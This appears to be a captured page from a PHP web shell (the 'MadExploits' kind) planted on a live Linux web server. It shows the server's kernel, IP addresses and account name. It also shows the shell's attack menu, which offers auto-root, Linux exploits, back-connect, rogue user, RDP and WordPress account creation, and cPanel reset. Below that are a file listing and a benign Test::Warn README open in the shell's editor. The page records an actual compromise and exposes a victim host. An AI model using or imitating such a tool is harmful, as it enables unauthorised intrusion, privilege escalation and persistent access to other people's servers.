Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.147.85.243
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
.cpanplus /
5.16.3 /
build /
Test-Warn-0.36 /
[ HOME SHELL ]
Name
Size
Permission
Action
blib
[ DIR ]
drwxr-xr-x
t
[ DIR ]
drwxr-xr-x
Changes
4.88
KB
-rw-r--r--
MANIFEST
257
B
-rw-r--r--
META.json
1.56
KB
-rw-r--r--
META.yml
864
B
-rw-r--r--
MYMETA.json
1.6
KB
-rw-r--r--
MYMETA.yml
901
B
-rw-r--r--
Makefile
30.65
KB
-rw-r--r--
Makefile.PL
3.06
KB
-rw-r--r--
README
2.14
KB
-rw-r--r--
Warn.pm
15.52
KB
-rw-r--r--
pm_to_blib
0
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README
Test/Warn version 0.36 ====================== INSTALLATION To install this module type the following: cpan Test::Warn or perl Makefile.PL make make test make install DEPENDENCIES This module requires these other modules and libraries: Test::Builder Sub::Uplevel File::Spec SYNOPSIS use Test::Warn; warning_is {foo(-dri => "/")} "Unknown Parameter 'dri'", "dri != dir gives warning"; warnings_are {bar(1,1)} ["Width very small", "Height very small"]; warning_is {add(2,2)} undef, "No warning to calc 2+2"; # or warnings_are {add(2,2)} [], "No warning to calc 2+2"; # what reads better :-) warning_like {foo(-dri => "/"} qr/unknown param/i, "an unknown parameter test"; warnings_like {bar(1,1)} [qr/width.*small/i, qr/height.*small/i]; warning_is {foo()} {carped => 'didn't found the right parameters'}; warnings_like {foo()} [qr/undefined/,qr/undefined/,{carped => qr/no result/i}]; warning_like {foo(undef)} 'uninitialized'; warning_like {bar(file => '/etc/passwd')} 'io'; warning_like {eval q/"$x"; $x;/} [qw/void uninitialized/], "some warnings at compile time"; DESCRIPTION This module provides a few convenience methods for testing warning based code. If you are not already familiar with the Test::More manpage now would be the time to go take a look. FUNCTIONS - OVERVIEW warning_is BLOCK STRING, TEST_NAME warnings_are BLOCK ARRAYREF, TEST_NAME warning_like BLOCK REGEXP, TEST_NAME warning_like BLOCK STRING, TEST_NAME warnings_like BLOCK ARRAYREF, TEST_NAME SEE ALSO Have a look to the similar Test::Exception module. THANKS Many thanks to Adrian Howard, chromatic and Michael G. Schwern, who have given me a lot of ideas. AUTHOR Janek Schleicher, <bigj@kamelfreund.de> COPYRIGHT AND LICENSE Copyright 2002 by Janek Schleicher Copyright 2007-2016 by Alexandr Ciornii Copyright 2016-2018 by Janek Schleicher This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.
Close